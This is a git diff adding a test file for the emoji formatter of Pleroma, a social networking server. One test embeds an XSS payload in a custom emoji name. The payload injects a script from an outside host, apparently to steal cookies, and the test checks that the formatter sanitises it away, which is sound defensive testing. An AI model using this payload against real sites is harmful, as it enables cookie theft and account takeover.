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diff --git a/test/emoji/formatter_test.exs b/test/emoji/formatter_test.exs
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+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Emoji.FormatterTest do
+  alias Pleroma.Emoji
+  alias Pleroma.Emoji.Formatter
+  use Pleroma.DataCase
+
+  describe "emojify" do
+    test "it adds cool emoji" do
+      text = "I love :firefox:"
+
+      expected_result =
+        "I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\" />"
+
+      assert Formatter.emojify(text) == expected_result
+    end
+
+    test "it does not add XSS emoji" do
+      text =
+        "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
+
+      custom_emoji =
+        {
+          "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)",
+          "https://placehold.it/1x1"
+        }
+        |> Pleroma.Emoji.build()
+
+      expected_result =
+        "I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
+
+      assert Formatter.emojify(text, [{custom_emoji.code, custom_emoji}]) == expected_result
+    end
+  end
+
+  describe "get_emoji" do
+    test "it returns the emoji used in the text" do
+      text = "I love :firefox:"
+
+      assert Formatter.get_emoji(text) == [
+               {"firefox",
+                %Emoji{
+                  code: "firefox",
+                  file: "/emoji/Firefox.gif",
+                  tags: ["Gif", "Fun"],
+                  safe_code: "firefox",
+                  safe_file: "/emoji/Firefox.gif"
+                }}
+             ]
+    end
+
+    test "it returns a nice empty result when no emojis are present" do
+      text = "I love moominamma"
+      assert Formatter.get_emoji(text) == []
+    end
+
+    test "it doesn't die when text is absent" do
+      text = nil
+      assert Formatter.get_emoji(text) == []
+    end
+  end
+end